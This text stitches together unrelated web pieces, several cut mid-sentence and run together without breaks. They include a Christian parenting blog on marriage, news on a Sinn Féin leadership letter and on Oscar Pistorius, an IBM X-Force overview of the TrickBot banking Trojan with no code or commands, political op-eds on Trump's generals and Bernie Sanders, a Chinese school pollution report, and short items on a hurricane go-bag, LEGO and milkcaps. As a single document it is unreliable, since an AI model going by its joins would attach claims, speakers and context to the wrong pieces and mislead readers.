It’s a sibling quartet that elicits unsolicited remarks everywhere I go. Sometimes about teen angst, other times on the increasing expense of weddings, and I even get my share of Little Women comparisons. If you’d like, from here on out, you can just call me “Marmee.”
My two oldest daughters are nineteen months apart and both in their tweens. Some days the emotional rollercoasters that race through our house leave us all either crying or wanting to. Well, except my husband Ted. I think he’s mostly just confused by it all.
Third in line is my strong-willed, out-of-the-box thinking, nonconformist first grader. The one who occasionally completes her homework in invisible ink. The good news is that at least she provides me with a black light so I can grade it.
And the last in my Fab Four? Well, she just transitioned from the hard-on-Mommy three’s to the sassy, know-it-all fours.
(Are you praying for me yet? If not, please do.)
Emotional rollercoasters and all, I love my girls dearly. Each of them has a unique, God-given personality with individual strengths and weaknesses. As their mom, I’m excited to watch how the Lord is using and will continue to use the ways He’s hard-wired them for His glory.
But they aren’t arrows ready to be sent out yet.
Right now, I’m still in the daily trenches of training them. The trenches filled with temperamental rollercoasters, invisible ink, and sass. And it’s serious business. It takes a lot of physical, mental, and emotional energy to, as Proverbs 22:6 says, “train up a child in the way he [or in my case, ‘she’] should go.”
That’s why judgment was the last thing on my tongue when I recently read an article titled, “I’m 99% Mother and 1% Wife – And It Has to Be That Way.” You see, as a fellow mom, I understood this mom’s point: parenting is exhausting and time consuming. It is. I get it. I bet you do too.
Here’s the thing, though: No matter how exhausting or demanding parenting may be for me, my husband and our marriage will always come before my kids. Always.
What does that mean exactly?
It means that to me Ted is #1 (after God, of course), not #5 (after four kids). I will always make time for him and the growing of our relationship. No matter how demanding parenting may be, I will never tell him, “I don’t have time for you” or “the kids are my highest priority.” Not with my words, my attitudes, or my actions.
Does this mean I’ll neglect our kids and their emotional and physical needs? Absolutely not. Sometimes the time I devote to Ted and our marriage may have to come after I refill our four-year-old’s cup with milk or after I comfort the bruised feelings of a six-year-old left out by her sisters or even after all the kids are in bed. But time for him and our marriage will always come consistently.
Here are three reasons why I’m 49% mother and 51% wife and why it has to be that way.
1. My Marriage is a Lifelong Commitment to “Team Us”
When Ted and I said “I do,” we made a lifelong commitment to each other. We became a team for better and for worse. We determined that we’d increasingly grow more mutually dependent. Our lives and our stories would slowly and steadily become intertwined.
The commitment we have with our kids is intended to be different. When each of our girls was born, yes, we pledged to love and care for them. But our relationship with them isn’t meant to be interdependent. Instead, we’re meant to raise them to become increasingly independent from us. To one day make homes of their own.
This fundamental difference of interdependence verses increasing independence is biblical. Scripture introduces it in the early chapters of Genesis when God first creates woman and presents her to man. We read, “Therefore a man shall leave his father and mother and hold fast to his wife, and they shall become one flesh” (Genesis 2:24). From the beginning, God intended spouses to prioritize one another over others, including kids.
2. My Marriage Isn’t Static
The Ted I’m married to today isn’t the same Ted I said “I do” to twelve years ago.
Sure, he has the same blue eyes. The same crazy hair worthy of his middle name Wolfgang. Yes, he still often stuns people with his dry, witty sense of humor. And, all these years later, his passion for soy sauce and politics remains rock solid.
But he’s also changed over the years. So have I. Neither of us is a static individual.
Our marriage isn’t static either. It will change with time. And it’s up to us what that change will look like. Will we put the effort into consistently growing together? Or will we put our relationship on the backburner only to find out a few years from now that the “us” has slowly become “you” and “me” again?
For us, there’s no question. We are going to grow together, not |
get a vote from us but not while that man is leader'."
He suggests the former West Belfast MP take on an "ambassadorial role", similar to that given to Joe Cahill, who was made honorary life vice-president of Sinn Féin.
Mr McNulty said the likelihood of another election in the south in the near future made a change of leadership all the more necessary.
"I believe there's a groundswell of opinion from the grassroots to the middle rankings of Sinn Féin, that hasn't been expressed yet but will be very shortly, that the next election should be a different election and that there should be a different leadership there to bring it into the next election."
He claimed there was a "serious amount of support that opinion".
"There may be 10 people in my cumann and I don't think there'd be one person against the letter I have wrote," he said.
Mr McNulty said April's ard fheis, which came less than two weeks before the north's assembly election, was "not the right time" for a debate about the party leadership.
However, he claimed the issue of Mr Adams's leadership would "come to the surface" by the time of next year's conference.
"Instead of this whispering campaign that's going on within the party we need an honest open debate," he said.
Notably, Mr McNulty believes Martin McGuinness should remain as the party's figurehead in the north.
"I think that Martin McGuinness is still a very important cog – I don't think McGuinness can be done without in the north," he said.
Originally from Dungannon, Mr McNulty became involved in the fledgling civil rights movement before joining the Provisional IRA.
He was arrested in the early 1970s for explosives offences and after skipping bail went on the run in the Republic. His experiences are recounted in his book Exiled, which was published in 2013.
A Sinn Féin spokesman said members across Ireland unanimously endorsed Gerry Adams as president at the party's most recent ard fheis three months ago.
The Letter in Full:
Dear Editor,
I have just read your interview with the Sinn Féin President Mr Gerry Adams wherein he stated he has no plans to retire.
This is not good news for Sinn Féin. Gerry Adams should have plans to retire from the leader of the Sinn Féin party.
I was at the Sinn Féin Ard Fheis in 1986 when the then leadership of Sinn Féin was voted out and Mr Adams voted in as leader.I supported that transition of leadership because I knew that the years ahead needed the leadership of the northern men and women under Mr Adams to steer the republican movement from conflict to peace.
This has now been successfully achieved, due in no small measure to Mr Adams and his team at the top of Sinn Féin party.A great debt of gratitude is due to Mr Adams for the fact we now have peace on the island of Ireland.
But just as there was a time for change in 1986, there is a time for change again in 2016. Sammy Davis Junior once famously said that one of the great secrets of life was "knowing when to get on the stage, and knowing when to get off it".
I believe the time has come for Mr Adams to get off it.
Mr Thomas Anthony McNulty
Chairman of Virginia Mullagh Sinn Féin Cumann, Co Cavan.Oscar Pistorius, the South African paralympian who faces trial next month for shooting his girlfriend dead last St Valentine’s Day, said on Friday that he was “consumed with sorrow” by what happened and would carry it with him for “the rest of my life”.
Mr Pistorius, 27, broke his long silence on the subject of Reeva Steenkamp’s death by issuing a statement maintaining that it was a “devastating accident”, and expressing regret for the “heartache” it had caused her family and friends.
The statement was placed on Mr Pistorius’ website, www.oscarpistorius.com and announced in a tweet from the runner at 1am, just two hours before the exact time he shot Miss Steenkamp one year earlier.
“A few words from my heart,” read the tweet, Mr Pistorius’ first communication since his tearful statement in court a few days after she was killed.
“No words can adequately capture my feelings about the devastating accident that has caused such heartache for everyone who truly loved - and continues to love Reeva,” the statement said.
“The pain and sadness – especially for Reeva’s parents, family and friends - consumes me with sorrow. The loss of Reeva and the complete trauma of that day, I will carry with me for the rest of my life.”
Mr Pistorius, who is known as “Blade Runner” for the carbon-fibre blades on which he competes, was arrested after shooting Miss Steenkamp three times through a locked lavatory door in his Pretoria home.
He claimed he thought she was an intruder. The prosecution say he shot Miss Steenkamp, 29, a law graduate and FHM model, after a row.
Mr Pistorius is due to stand trial at Pretoria’s High Court on March 3 for premeditated murder and possession of 38 unlicensed bullets discovered when police searched his home.
Mr Pistorius and his family have been advised by his legal team to keep their counsel in the run-up to his trial, despite the intense public interest in the case.
But it’s understood that the athlete felt strongly that in the absence of being able to contact them, he wanted to express his personal sorrow and regret to Miss Steenkamp’s family and friends on the anniversary of her death, so issued a carefully-worded statement with his lawyers’ blessing following a family meeting at his uncle’s house in Pretoria on Thursday evening.
As South Africa reflects on the devastating events that prompted the fall from grace of its golden boy and Olympic medal-winner, Miss Steenkamp’s parents also issued a statement and confirmed that her mother June would attend the trial.
"All we are looking for is closure and to know that our daughter did not suffer on that tragic Valentine's Day," they said.
"As the first anniversary of our beloved daughter's death approaches, we would like to thank all family, friends, the people of South Africa, and the world for their compassion, kind words and comfort shown to us, and for the many letters of condolences we have received."
They added that they would be setting up a foundation in honour of their daughter after the trial. "Reeva, who held such a passion for women's abuse issues and frequently spoke out against domestic violence, intended to one day open an establishment where abused women would be cared for,” they said.
Gwyn Guscott, a schoolfriend of Miss Steenkamp’s, posted a message on Facebook remembering her friend’s love of St Valentine’s Day. On the day before she died, she tweeted: “What do you have up your sleeve for your love tomorrow??? #getexcited #ValentinesDay.”
“Tomorrow will be a tough one for most, but let's remember how much she loved love and fill our day with roses and remember her stunning smile and that little giggle she used to do when she had happy thoughts,” Miss Guscott wrote. “To Reeves, I miss you every day."The TrickBot Trojan, a banking malware believed to be operated by an organized cybercrime group, has been the most active financial Trojan in the wild all summer. For some perspective, while other malware operators were much less active in the summer months, TrickBot was three times more active than Dridex in terms of campaigns and code updates in Q3 and Q4 to date, according to IBM X-Force Research. It continues to expand its reach, this time setting foot in Latin America, with bank targets in Argentina, Chile, Colombia and Peru.
At this time, the number of targets in Latin America is still small, but this strategy is typical for TrickBot’s operators, who test the waters before moving ahead to set up redirection attacks and add more banks to their target lists.
Recent configuration files analyzed by IBM X-Force Research show that TrickBot’s operators are still using redirection attacks for many of their targets. The ratio in recent campaigns, where TrickBot targeted banks in no less than 40 countries, was 60 percent webinjection attacks to 40 percent redirection attacks. Those are already active in all four countries in Latin America where TrickBot targets major banks. In the current cybercrime arena, according to X-Force research, the only other gangs to use redirection attacks are the operators of the Dridex and GootKit Trojans.
Watch the on-demand webinar: The Evolution of TrickBot Into the Next Global Banking Threat
Signed, Sealed, Delivered by Necurs
TrickBot is delivered to potential victims via email and pushed by the Necurs botnet. The connection with the Necurs gang has been ongoing since mid-2017, which has led to TrickBot being delivered as various file types to conceal its payloads. Most recently, the malware switched to using an eFax ploy to trick users into opening malicious VBS extensions that harbor its payload.
An X-Force analysis of the amount of spam emitted by the Necurs botnet during August and September showed that this cybercrime operation sent over 40 million emails carrying.7z archive file attachments per week in intermittent TrickBot and Locky ransomware campaigns.
This is not the only method by which TrickBot was delivered in Q3. The group has been experimenting with other ideas, such as setting up fake websites and serving the malware from there. In early August, TrickBot was spotted using the same infection zones as the Emotet Trojan, which has been linked with the QakBot banking Trojan, which recently propagated throughout corporate networks and caused massive Active Directory lockouts.
Evolving to Get More
Delivery methods are not the only things TrickBot changes often; it has also been evolving its code over the past year. Q3 was especially active for TrickBot, which added modules to its existing hidden desktop and data theft capabilities.
In July, TrickBot’s developers added support for the EternalBlue exploit, a tool borrowed from attacks such as WannaCry and NotPetya that allows it to spread through enterprise networks, along with a new worm feature it adopted to fetch its payloads from malicious remote servers. TrickBot targets mostly business banking services, according to X-Force Research, so this addition is not a surprise.
By August, TrickBot already had new modules designed to steal Outlook email and browsing data. These modules do not feature the same code sophistication the core malware and modules present and were likely written by other developers. This could suggest that the TrickBot team recently took on new, less experienced members.
In early September, TrickBot’s operators added cryptocurrency targets to their configuration files, aiming to steal user credentials for platforms such as the American-based Coinbase and the Luxembourg-based Blockchain. Both exchange different types of cryptocurrency coins. This addition enabled TrickBot’s operators to take over victims’ wallets and empty them or use them as part of a network of wallets to move other coins and wipe their illegitimate traces.
Global Reach
TrickBot has managed to spread to a large number of countries and language zones in relatively little time. The malware operates redirection attacks in over 20 countries and targets banks in over 40 countries spanning Asia, Europe, North America, South America, Australia, New Zealand and the Nordics.
Figure 1: A timeline of Trickbot’s global spread (Source: IBM X-Force)
In terms of the top geographies on TrickBot’s radar, the focus changes in different configurations, which are attributed to infection cycles destined for each country or region. In recent attacks in which a large number of countries appears on the same list, X-Force data showed the following distribution:
Figure 2: TrickBot’s current configuration and geodistribution of targets (Source: IBM X-Force)
Unlike most Trojans, which mainly target the larger parts of Europe such as the U.K., Germany and France, TrickBot also targets banks in smaller unlikely countries, some of which were previously part of the Soviet bloc. Some examples include Bulgaria, Lithuania, Latvia, Slovenia and Slovakia. These countries, where the economy is not as strong and people are less likely to have high residual incomes, are much less likely to be used as run-of-the-mill targets and are more often exploited as cash-out routes for the TrickBot gang.
TrickBot is currently the sixth most prevalent financial malware family in the global financial cybercrime arena, as show in Figure 3.
Figure 3: Most prevalent financial malware families, October 2017 YTD (Source: IBM Trusteer)
Keeping Up With TrickBot
The TrickBot Trojan is an evolving malware project that appears to have funding and alliances in the cybercrime arena. According to X-Force Research, its targets are mostly business banking, wealth management and private banking services, which simply means that the malware’s operators are after corporate money and hefty illicit profits.
This gang is believed to be organized, international and unlikely to disappear anytime soon. X-Force Research expects to see TrickBot continue to target banks, organizations and consumers in Q4 2017. To keep up to date about this malware, follow our ongoing X-Force Exchange Collection on TrickBot.
Read the white paper to learn how digital banking is transforming fraud detectionCan we get a drum roll? Samsung has released a new app for Windows Phone. ATIV Beam. Sounds cool, right? It certainly is. We're looking at an NFC app to make it easy to transfer files from the ATIV Windows Phone to... wait, Android? You'd immediately assume that this is just a small error on Samsung's part and the app will work with Windows Phones that sport NFC too, right? Wrong, this is an exclusive app for those who wish to transfer files to Android devices.
It's not really an issue as we have Tap+Send which can natively share documents and media to other Windows Phones, and it's useful for those owners who happen to own Android hardware too, but what about adding more content for its Windows Phone customer base that improve the overall experience offered, instead of compatibility solutions for Google's OS?
Enough of our whinging. You can download ATIV Beam from the Windows Phone Store (Windows Phone 8 only). Yes it's restricted to Samsung ATIV hardware, but no Scotty cannot beam you up with this app. Cheers, pbroy, for the heads up too!2 Make a Go Bag
What the heck is a "go bag," you ask? A "go bag," or a "grab and go bag" is basically a kit that you can put together well in advance of any storm, especially a hurricane. You'll need it if you are asked to evacuate an area in the path of a potentially dangerous storm. Your go bag should have some essential items, including:
Plenty of water (approximately one gallon for each person in your household, per day, for at least 3 days)
Non-perishable food (canned goods and a can opener, crackers, bread, chips, fruit - anything that won't spoil)
Medication (be sure to refill any prescription medications you need before the storm hits, and include any over-the-counter meds you take regularly, along with a first aid kit, if possible)
Important documents and cash in small bags. You know that lock box you keep in the office closet? The one with insurance papers, mortgage papers, etc.? Get it out and have it ready to take with you if you need to evacuate.
An emergency radio, with extra batteries
A cell phone with a charger
Plastic baggies: You should put your important documents and cash, along with your phones, in plastic bags to protect them in case they get wet
Moist towelettes: If you don't have running water handy, these little towelettes can be heavenly, allowing you to clean up after munching out on your canned goods and/or freshening up if you can't take a shower.
**Another tip: Gather some blankets and pillows if you're heading for a shelter.Afghan Air Traffic Controllers look out from the Air Traffic Control tower at Kabul International Airport, Afghanistan, in this Dec. 2010 photo.
KABUL, Afghanistan — An insurgent-fired rocket struck the military side of Kabul International Airport on Friday, the same day Secretary of State John Kerry departed the city.
No one was injured in the attack, which happened just before 9 p.m., according to a spokesman for NATO’s International Security Assistance Force. Damage was minor, with a forklift destroyed, the spokesman said.
Kerry had departed well before the attack, an embassy official said.
The airport is split between the southern civilian and northern military side, which houses an air base and ISAF facilities.
It is an occasional target for insurgents. Fighters attacked the airport on July 17, firing rocket-propelled grenades and automatic weapons from a vacant building. That attack briefly suspended flights on the civilian side of the airport before the six attackers were killed, according to Afghan officials at the time. No one else was injured in the attack.
Kerry was in Kabul for two days to work on a power-sharing agreement between rival presidential contenders Ashraf Ghani and Abdullah Abdullah. On Friday he brokered a deal to end a standoff over the disputed runoff vote.
beardsley.steven@stripes.com
Twitter: @sjbeardsleyGet the Think newsletter.
Dec. 10, 2017, 9:33 AM GMT / Updated Dec. 10, 2017, 9:33 AM GMT By Suzanne Garment, author of “Scandal: The Culture of Mistrust in American Politics”
President Donald Trump has brought more generals into the upper reaches of his administration than any other modern president. As for their tenure in office, we’re three for four. Or, maybe, two-and-a-half for four.
Ret. Gen. Michael T. Flynn, former national security adviser, made headlines this month after pleading guilty to a felony and agreeing to co-operate with special counsel Robert Mueller’s Russia probe. Yet Trump’s three remaining generals — two retired, Chief of Staff John Kelly and Defense Secretary James Mattis, and one still on active duty, National Security Adviser H.R. McMaster — continue to dominate the national security apparatus.
They’ve not only outlasted their critics but, unlike Secretary of State Rex Tillerson and Attorney General Jeff Sessions, seem to have largely escaped the president's public wrath.
Why? It’s not due to a shared worldview — insofar as Trump has a coherent one. No, the virtue of generals, for Trump, is their satisfying combination of alpha male-ness and deference.
Trump regularly asserts that he hired the generals partly because they look the part. They’re trim and ramrod-straight. Their faces are impassive, their speech terse and unadorned. When he hired Mattis, Trump — a fan of the 1970 movie about General George Patton starring George C. Scott — said Mattis was “the closest thing we have to General Patton.”
Ever the entertainer, Trump cites his generals as “central casting.” “If I’m doing a movie,” he said to Mattis, “I pick you, general.”
The virtue of generals, for Trump, is their satisfying combination of alpha male-ness and deference.
But looking the part isn’t enough. Tillerson might look the part of a secretary of state but his job has often seemed to hang by a thread, protected perhaps only by the embarrassment that his leaving would cause.
And, though you might think that the president who promised to “Make America Great Again” would want his generals to be the point of his military spear, they aren’t constantly beating the war drums. Indeed Mattis, The Washington Post noted, is more dovish than Trump on issues from torture to the North Atlantic Treaty Organization to the Iran deal.
No, the generals’ appeal for Trump lies deeper.
First, nobody is more indubitably alpha male than a general. These are guys who have spilled actual blood, an activity that renders most of their fellow citizens highly queasy.
Trump came to office promising a return to American strength after years of what he calls failed foreign policy by an effete establishment. But Trump isn’t exactly an embodiment of American toughness: He’s an overweight and out of shape 71-year-old man who escaped military service by claiming bone spurs and has said he fought his personal Vietnam on the battlefield of sexually transmitted diseases.
You can see why he’d want alpha males around — not so much to wage war as because he seeks personal proximity to masculine winners. The generals lend Trump masculinity by association.
Yet Trump’s delight in proximate alpha males presents him with a dilemma because he also clearly enjoys dominating others and has a keen — critics might say pathological — sense of threats to his dominance. This makes him intolerant of alpha male behavior.
Mattis succeeds by speaking to Trump “candidly but respectfully” and “plays down disagreements in public.”
When former White House chief strategist Steve Bannon made the cover of Time Magazine, Trump reportedly complained to staffers, according to The New York Times. Several months later, the advisor was gone. Bannon’s return to Breitbart allowed Trump to make him a confidant again, without admitting that Bannon might be pulling the strings of power. But Breitbart’s current critique of Trump’s strategy in the Russia probe shows the unreliability of such a relationship.
Herein lies the beauty of generals. Despite their alpha male-ness, generals obey the code governing the American military: They are explicitly constrained by the Constitution’s provisions that civilians control the military. Even after serving, generals respect these constraints. As The Washington Post recently observed about Mattis, he succeeds by speaking to Trump “candidly but respectfully” and “plays down disagreements in public.”
This combination of masculinity and deference isn’t an oxymoron but an amalgam that perfectly suits Trump’s needs.
If you’re Trump, it’s a treasure you don’t easily discard. No wonder Trump keeps calling them “my generals” in the same proprietary way he’s called his wife, Melania, “my supermodel.”
But will this formula allow the generals to be the “adults in the room,” restraining a president who lacks impulse control?
Two of the president's generals, Gen. H.R. McMaster and Ret. Gen. John Kelly join Secretary of State Rex Tillerson and Vice President Mike Pence for a joint news conference. Chip Somodevilla / Getty Images file
Don’t count on it. We’re not talking Dwight D. Eisenhower or George C. Marshall here, let alone Colin Powell or Alexander Haig — just your basic war heroes. When generals have to perform beyond their political competence, they’re as fallible as anybody else.
Consider the first foray by Kelly, Gold Star father, into conventional politics. In Kelly’s press conference after Trump’s botched phone call to the widow of Sgt. La David Johnson, killed in Niger, Kelly deployed his military credentials and story to protect his boss from political attack. And he failed.
He gave a harrowing account of the loss of a soldier in battle. As public discourse goes, this story was a rock from which no critic could possibly dislodge him. Then, Kelly left solid ground and wandered into the treacherous political sea.
He confirmed that Trump said what the president had denied saying. He recounted what he had told the president to say — which was, in Kelly’s elegant formulation, a world away from Trump’s flat-footedness. But in attacking Rep. Frederica Wilson (D-Fla.), who witnessed the effects of Trump’s phone call, Kelly made factual errors that gave his critics ammunition.
The controversy intensified press attention to the underlying question of what we’re doing in Niger in the first place. Welcome to politics, General Kelly.
So, it’s not exactly three generals left, it’s more like two-and-a-half, since Kelly has partially squandered the aura that the generals lend this White House. It takes more than military stars to provide good political advice — let alone political cover — for a president with a tin ear.
It’s too bad the president can’t seem to tolerate advisers with a broader skill set.
Suzanne Garment, a lawyer, is the author of “Scandal: The Culture of Mistrust in American Politics.”I apologize in advance to my readers for what may seem a retread. While much of what is written in this article is in my previous post, it is necessary to the point I am trying to make to repeat some things. If you can stick with me there is more here.
Bernie Sanders can win--not just the primary, but the general. Democrats should back him, and ignore the arguments made by Barney Frank and others, who say giving Hillary the nod early is the only hope for victory in 2016. This timidity, a relic of the Democratic Party's weakened state following the Reagan realignment, is astounding in the face of the most favorable political environment in nearly 50 years.
1) The GOP is a mess.
As I wrote last time, the United States is in the midst of another realignment, this time away from the GOP. The Occupy Movement brought wealth inequality and systemic corruption due to the influence of money in politics, to the forefront of the national discussion. These issues galvanized the electorate against the Republicans in 2012, and they'll do it again in 2016 and probably 2020.
The answer as to why that is? The GOP does not address these problems because it does not accept them as problems. History has shown that any time there is a major national issue like slavery or civil rights, or in this case what I mentioned above, and one or both parties do not address it, there is a realignment of the electorate.
Republican economic policies had a difficult enough time connecting with Americans even at the height of party's popularity--George H.W. Bush called them "voodoo economics." This is why Republicans had to couple them with xenophobia, race baiting, and religious fundamentalism to build a large and vocal enough coalition to win (the New Deal was incredibly popular in the South).
But now demographic shifts have outpaced their strategy, and left their target region politically marooned, as we saw in 2008 and 2012. Cultural changes have crippled the party outside of the Southern states. Racism, even with plausible deniability, is toxic. Sex positivity and youth culture have bankrupted the morality claims made by social conservatives; acceptance instead of tolerance has tipped the scales against the Republicans.
Worse still, laissez-faire economics are under the scrutiny after the Subprime Mortgage Crisis and the Occupy Movement. It has come to point where even the Koch Brothers are trying to rebrand themselves and the GOP with populist rhetoric.
But the Kochs aren't the only ones on the right to recognize these problems. The Republican establishment is beginning to realize that the only hope for long term survival (restricting voting and keeping elections about money are not long-term solutions) lies with the Latino population. A hardline stance against immigration will alienate America's fastest growing voting block, and moderate whites as well. As a result of this future problem, some Republicans are starting to change their tune on immigration reform.
On the other hand, the base of the party is in full rebellion against this perceived new direction, and is embracing hardliners like Donald Trump. Now, in order to win the primary, the Republican candidates have to appeal to this demographic--which is detrimental when we get to the general election. This predicament isn't lost on the Kochs, who seem to want to sink Donald Trump.
The GOP's biggest problem right now is keeping the party together. The Tea Party and the base are likely going to split off if an establishment candidate wins the primary. Mr. Trump, for all of his seemingly thoughtless, bulldozing statements, has picked up on this coming split, and threatened to run as a third party candidate.
A party divided cannot win. The Republicans face a bigger divide between the establishment and the base than the Democrats do between progressives and moderates.
2) Bernie has broad appeal, and communicates effectively.
With the opposition imploding, Democrats can look forward to 2016. However, many are rushing to support Hillary Clinton out of fear that Bernie lacks broad enough appeal to win a general. This argument is unsupported. Hypothetical match ups with the GOP field show Sanders is competitive, and unlike the Republican candidates, the debates are not going to hurt his appeal in a general election. Bernie is also gaining momentum steadily across the country--especially in swing states.
Clearly his message resonates with the American people. It also reverberates throughout history. Bernie's a throwback to a Democratic Party past; the New Deal Democrats, who implemented policies that built the middle class, and made the GOP a minority party in Congress for a generation. Bernie's ideas aren't new or even radical: they're the logical continuation/expansion of these popular existing programs.
Studies have shown Americans prefer Democratic policies to Republican alternatives, but prefer Republican rhetoric. For a Democrat to win he or she must convey their specific goals effectively, and Sanders has proven he can do just that.
3) The Democrats need to recapture the frame, and Bernie may be the only one who can do it.
My last point of consideration might be controversial, but I do not think it should be. It is time for blue voters to give up the Clinton/New Democrat legacy--at least when talking amongst ourselves (or when voting in the primary). Bill Clinton's best accomplishment was getting elected twice, and presiding over an economic boom cycle. This is an achievement since no Democrat had won reelection since FDR. However, the damage he did can hardly be understated, though much of it may have seemed inevitable.
It was Clinton who conceded the narrative to the GOP; that there is too much government hindering the markets, and there are too many people dependent on said government. He is responsible for the deregulation of the banks that led to "too-big-to-fail," and contributed to the Subprime Mortgage Crisis. He is also responsible for mass incarceration thanks to his omnibus crime bill. And of course, his "welfare reform" was no prize as it resulted in fewer people receiving less in terms of vital assistance.
While I believe Hillary Clinton would absolutely make a better president for working Americans than any of the austerity-pushing, deregulating Republicans, she's too similar to Bill on important issues. Inside sources suggest that when it comes to the banks, Clinton wouldn't end "too-big-to-fail." She's probably a step to the side of President Obama (who, as I said last time, has laid the groundwork for a progressive president) but she's not really a step forward.
And the Democrats need to move forward. We do not need another president who straddles the line between two narratives. After 40 years of Republican economic dominance, our Middle Class has suffered. We've had two major recessions, and we're still struggling from the last one. For the sake of the country, and the party's sustained success, the Democrats must convince people that government can be smart and well run; that it has a place in regulating the markets to ensure healthy competition, and a place protecting social mobility; that welfare programs are not bankrupting us, but systemic handouts to the rich and powerful are. In order to achieve this, they must pick the strongest candidate who will communicate these points, not only in words, but in policies.
4) The real possible downside.
While I am all for Bernie, I do recognize his one flaw: opposition to the superPAC. For better or worse, money will play a huge role in this election. While Bernie's received more small donations than any candidate running, he's probably going to need PAC money eventually. Name recognition is crucial to any campaign, and ads are an effective way of getting it because candidates cannot be everywhere at once. While I support his push for publicly financed elections, Citizens United, and the modern interpretation of "social welfare" (what nonprofits can do) are not changing by November 2016--which is partly why we need Bernie in the White House in the first place!
That said, all things considered, to fight to give Hillary the nod over Bernie places the game of politics over the substance of it, without any real support for such a position. Bernie Sanders should be the nominee for president. Let the cards fall as they may.Zhang Manzhu’s daughter is a seventh-grader at Changzhou Foreign Languages School. Last December, her daughter’s face broke out in a rash, and lumps appeared on her neck. “I thought it was just the arrival of spring that caused it,” Zhang said. “But other parents said their children had similar symptoms.”
Zhang’s daughter is one of many students who came home from school with various illnesses. Of the 641 students who have gone in for medical tests, 493 had illnesses varying from eczema, bronchitis, and headaches, to a lack of white blood cells, and in a few cases even lymphoma and leukemia, according to media reports.
A rash on a student’s shoulder, Changzhou, Jiangsu province, Jan. 2016. Courtesy of the student’s parent
The location of the school is to blame, their parents say. The school building is new – it opened in September 2015 – and sits next to the former sites of three chemical factories, which allegedly contaminated the surrounding soil and groundwater.
The story received widespread attention after a report broadcast Sunday by China Central Television (CCTV), China’s state-owned television network.
According to CCTV, work began on the new location of Changzhou Foreign Languages School in 2011, a full seven months before the results of a test conducted on behalf the education bureau in Changzhou on the suitability of the land were released.
That analysis, though far from extensive, found pollutants in the groundwater and soil at the site and recommended against developing or using groundwater resources. However, a worker at the school told CCTV that water used at the school was nevertheless being pumped directly from the ground.
The recent spike in media attention belies the fact that the story has been developing for a long time. In January, the school organized a meeting with aggrieved parents during which the secretary of the Changzhou municipal government promised to clean up the site before the new semester.
When students returned to school on Feb. 22 after the Chinese New Year vacation, parents found that the soil at the site had been covered with clay. Angered, many parents, including Zhang, then petitioned the school to move to another site farther away from the polluted land.
A view of the toxic site which used to be a chemical factory next to the new campus of Changzhou Foreign Languages School in Changzhou, Jiangsu province, April 18. 2016. IC
The following day, police visited Zhang at home and persuaded her to stop petitioning. Zhang told Sixth Tone in a telephone interview that one of the parents was locked up for 10 days by local police because he commissioned an environmental report that showed the levels of many pollutants far surpassed national standards.
CCTV reported that the level of several potentially harmful chemicals were far in excess of the national average.
Many students have already transferred to other schools. But Changzhou Foreign Languages School has a good reputation, and students like Zhang’s daughter worked hard to be admitted. This and the effort needed to find a new school make parents like Zhang reluctant to transfer.
But even requests by parents for makeshift classrooms farther from the former factory site have fallen on deaf ears. “The local government and school never talk about doing anything to cope with the pollution,” Zhang said.
The entrance to the new campus of Changzhou Foreign Languages School in Changzhou, Jiangsu province, April 18. 2016. IC
A father, surnamed Sun, told Sixth Tone that his son also attends Changzhou Foreign Languages School. Recent blood tests on the boy worried Sun. He declined to discuss the details of his son’s health.
Sun is among the many parents who are unhappy with the government’s attempt to clean up the site simply by covering it with a layer of clay. “How can they ignore sick children as if nothing has happened?” Sun told Sixth Tone.
On Monday afternoon in a statement to Sixth Tone’s sister publication The Paper, the Changzhou government said that the soil and groundwater around the school were not polluted, and that experts had assessed the air quality as having met standards. It added that out of the nearly 2,500 students at the school, only four were currently on sick leave, and five were in the process of transferring to another school.
The government said that to its knowledge none of the school’s students had ever contracted leukemia, and that there had only been one case of lymphoma, but that this had been diagnosed before the school moved to its new campus.
“The school is operating normally,” the statement said.
Sun, the concerned parent, urged: “Don’t make our children a sacrifice in the struggle between parents, the school, and the government.”
This article has been updated to reflect the Changzhou government's comments about leukemia and lymphoma cases.
Additional reporting by Peng Wei.
(Header image: An aerial photo shows the new campus of Changzhou Foreign Languages School next to the former site of three chemical factories in Changzhou, Jiangsu province, April 18, 2016. IC)In this time lapse video, LEGO builders create a life-size replica of Luke Skywalker from the film "Star Wars: The Force Awakens," which is now on a nationwide tour. (Published Tuesday, Aug. 1, 2017)
Star Wars fans in North Texas will have a chance to see a life-size Luke Skywalker replica made entirely of LEGOs.
The "LEGO Luke" will be on display at the Walmart Supercenter at 6185 Retail Road, near the intersection of Northwest Highway and Skillman Street, in northeast Dallas, from Wednesday, Aug. 2, to Monday, Aug. 7.
The creation was first unveiled at San Diego Comic-Con and is now on a six-city nationwide tour.
He stands just over six-feet tall and is comprised of 36,743 LEGO bricks. Construction took a total of 277 hours, or more than 11 days, according to a media release.Pogs, Tazos, Flippos, and other milkcaps
Milkcap Mania is the UK's premier milkcap/pog/tazo website, including scans of many milkcaps, pogs and tazos. Use the Menu on the right hand side of the page to navigate the site.
Milkcaps/pogs/tazos are basically circles of card with images on that are collectable and also used as a game. Milkcaps is the generic term used to describe them, but they are also well known as Pogs, Tazos or Flippos. There are many different makes and styles of milkcaps, although this site features mainly POG milkcaps, Slammer Whammers and Krome Kaps.
If you are new to milkcaps/pogs/tazos, please see below for the story of how pogs were created and what they are. You can also check out the guide to playing milkcaps/pogs/tazos, the guide to slamming techniques, and the guide to pog storage.
If you would like to contribute to the site you can register as a member and will then have the ability to edit the information on each milkcap/pog/tazo page.
Also, if you have some Pogs, Tazos, Flippos, etc. that you would like to scan to send me so I can add them to the website, this would be appreciated |
trackers, in turn, collect data on usage (anonymised but still your data) to sell on to advertisers or other data management companies to help inform how advertising is bought and sold across the web, sometimes following you as you visit other sites.
Last year, Adblock found that less than 10% of advertisers made it on to their “whitelist” of acceptable advertisers based on “good behaviour” principles. These include fairly subjective points, like ads being “not annoying”, as well as more practical and more objective attributes like whether the ad is transparently an ad, or whether the ad distorts page content.
Adblock Plus’s CEO and co-founder Till Faida tells me that while that whitelist remains its “mainstay solution,” the anti-tracking that it does with tools like EasyPrivacy is offered as an additional tool for those looking for more protection. “We don’t think all tracking is bad – it can actually be useful if done transparently; but we do think you should have a robust block list if you want to get rid of it,” he says.
Tracking tools are hidden on websites and run mainly in the background in order to create unique profiles for users, which are often sold to advertising or targeting companies. For example, EasyPrivacy blocks 13 elements on nytimes.com. EasyPrivacy allows users who do not want to be followed around the web to block these tracking attempts.
Trackers are prevalent across many different pages online, including legit content sites: Adblock notes, for example, that EasyPrivacy has found 13 tracking elements on nytimes.com.
